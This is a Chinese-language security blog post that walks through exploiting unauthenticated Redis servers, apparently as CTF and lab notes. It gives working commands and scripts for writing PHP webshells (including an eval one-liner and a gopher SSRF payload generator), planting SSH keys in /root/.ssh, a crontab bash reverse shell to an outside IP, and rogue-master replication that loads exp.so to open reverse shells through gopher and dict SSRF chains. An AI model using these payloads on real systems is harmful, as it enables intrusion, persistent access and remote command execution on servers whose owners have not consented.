Redis漏洞

Last updated on September 27, 2024 am

什么是Redis

Redis(Remote Dictionary Server)是一个开源的内存数据存储系统,它可以用作数据库、缓存和消息中间件。Redis是一个键值存储数据库,其中每个键都映射到一个值,这些值可以是字符串、哈希、列表、集合、有序集合等数据类型。默认运行端口6379

存储特性

1
2
3
4
5
1.以内存作为数据存储介质,读写数据的效率极高。
2.储存在 Redis中的数据是持久化的,断电或重启,数据也不会丢失
3.存储分为内存存储、磁盘存储和log文件。
4.可以从磁盘重新将数据加载到內存中,也可以通过配置文件对其进行配置,因此,redis才能实现持久化
5.支持主从模式,可以配置集群,更利于支撑大型的项目。

Kali安装Redis

1
2
3
4
5
6
7
8
9
10
11
12
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0.3/
make
make test
cd redis-6.0.3/src
cp redis-cli redis-server /usr/bin/
cp redis.conf /etc
redis-server #启动服务端
redis-cli -h 127.0.0.1 -p 6379 #客户端连接
config set slave-read-only no
ps -aux | grep redis #查看redis启动状态

Redis常用命令

1
2
3
4
5
6
7
8
9
10
11
12
info #查看信息
CONFIG GET * #获取redis的配置信息
flushall #删除所有数据库内容
flushdb #刷新数据库
KEYS * #查看所有键
set test "whoami" #设置变量
config set dir dirpath #设置配置项目录的路径
config get dir/dbfilename #获取路径及数据配置信息
save #保存
get 变量 #查看变量名称
config set requirepass password #设置密码
auth password #密码认证

https://www.cnblogs.com/kongzhongqijing/p/6867960.html

Redis未授权访问漏洞利用

有未授权漏洞

(1)配置登录策略导致任意机器都可以登录redis。
(2)未设置密码或者设置弱口令。

无未授权漏洞

(1)bind 127.0.0.1未注释,仅允许本地访问,攻击机kali无法连接。可尝试本地主从复制rce
(2)设置了密码,可以用超级弱口令爆破

Redis 默认情况下,会绑定在 127.0.0.1:6379,但是有时候开发人员为了方便访问,会将其绑定到0.0.0.0,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

redis写webshell

需要知道web服务的工作目录,需要有写权限

监听抓包

1
tcpdump -i lo -s 0 port 6379 -w redis.pcap
1
2
3
4
5
auth password
config set dir 工作目录
config set dbfilename webshell.php
set -.- "<?php phpinfo();?>" #也可写入一句话木马
save
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://122.114.254.128:28005" #window上含有ssrf漏洞的页面
gopher = "gopher://127.0.0.1:6379/_"

# 攻击脚本 #一定记着要转义\n
data = """
auth shell
set test "\\n\\n<?php @eval($_POST[cmd])?>\\n\\n"
config set dir /var/www/html/
config set dbfilename shell.php
save
quit
"""

def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder

# 二次编码
encoder = url+encoder_url(encoder_url(data))

print(encoder)
1
wireshark redis.pcap

追踪TCP流

复制出payload,url编码

1
2
3
4
5
payload = "2a310d0a24370d0a434f4d4d414e440d0a2a320d0a24340d0a617574680d0a24340d0a726f6f740d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a24330d0a6469720d0a2431340d0a2f7661722f7777772f68746d6c2f0d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a2431300d0a646266696c656e616d650d0a2431320d0a7765627368656c6c2e7068700d0a2a330d0a24330d0a7365740d0a24320d0a2d2d0d0a2432360d0a3c3f706870206576616c28245f504f53545b2761275d293b3f3e0d0a2a310d0a24340d0a736176650d0a"

flag='gopher://127.0.0.1:6379/_'
for i in range(0, len(payload), 2):
flag+= "%25" + payload[i:i + 2]

redis写ssh密钥

版本<redis-4.0.10,必须是linux,root开的redis,ssh端口有开

利用redis的备份功能,写入ssh公钥

ssh端口:22

1
2
3
4
5
6
7
8
9
10
11
12
13
/etc/init.d/ssh start #靶机开启ssh服务
攻击
ssh-keygen #产生ssh密钥对
(echo -e "\n\n";cat ssh.pub; echo -e "\n\n") > 1.txt #将上面生成的公钥保存到1.txt里面
cat 1.txt | redis-cli -h 192.168.224.129 -x set crack #将生成的公钥文件通过redis上传到目标服务器 ip要替换为目标服务器地址
redis-cli -h 192.168.224.129 #远程连接redis服务
flushall
config get dir #获得redis备份的路径
config set dir /root/.ssh #更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh,需要存在才能利用)
config set dbfilename authorized_keys #设置上传公钥的备份文件名字为authorized_keys
config get dbfilename #检查是否更改成功(查看有没有authorized_keys文件)
save
ssh -i ssh root@192.168.224.129 #攻击机直接ssh连接目标服务器

通过写 crontab 的方式 getshell

通过设置定时任务反弹shell(仅限于centos)

对于Ubuntu需要定时任务的目录权限是600,而由Redis创建的文件权限为644,所以没办法反弹shell;

而centos对于644权限也能够反弹shell

1
2
3
4
5
redis-cli -h [Redis IP/域名] -p 6379 #进入交互
config set dir /var/spool/cron #设置写 crontabs 的文件夹路径
config set dbfilename root #修改备份文件名
set shell "\n\n\n* * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n" # 写入反弹 shell的计划任务
save

公网服务器

1
nc -lvp 9999

Redis主从复制

  • 攻击机Kali:192.168.224.128
  • 受害机Ubuntu:192.168.224.129
利用 redis-rogue-server 工具
  • 下载地址:https://github.com/n0b0dyCN/redis-rogue-server

  • 该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。

    但是该工具无法数据Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具

    1
    python3 redis-rogue-server.py --rhost 192.168.20.135 --lhost 192.168.20.128 --exp exp.so

    选择 i 来获得一个交互式的shell,执行在里面执行系统命令即可,也可以选择 r 来获得一个反弹shell。

利用redis-ssrf工具

这个对于Redis存在密码时也可用

https://github.com/xmsec/redis-ssrf

https://github.com/n0b0dyCN/redis-rogue-server

redis-rogue-server中的exp.io复制到redis-ssrf

修改redis-ssrf中的ssrf-redis.py

  • lhost 改为攻击者vps的ip(47.xxx.xxx.72),用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机。
  • 将command修改为要执行的命令
  • 将第140行的 “127.0.0.1” 改为 “0.0.0.0” ,用于绕过题目对于内网IP的限制。
  • 最后在第160行填写上Redis的密码 “root”。

执行ssrf-redis脚本生成payload

同时运行python2 rogue-server.py

好像说要写个死循环,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了。

1
2
3
4
5
# do.sh  
while [ "1" = "1" ]
do
python rogue-server.py
done

因为是要ssrf在内网打所以借助gopher协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 120.77.205.20 6666
quit

#执行完上面两个
#反弹shell
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 120.77.205.20 8000
quit
#查看环境变量
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.exec env
quit

用赛博厨子对上面指令进行url编码

dict协议反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#执行系统命令
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

比较yyds的参考文章1

比较yyds的参考文章2


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/08/04/Redis%E6%BC%8F%E6%B4%9E/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!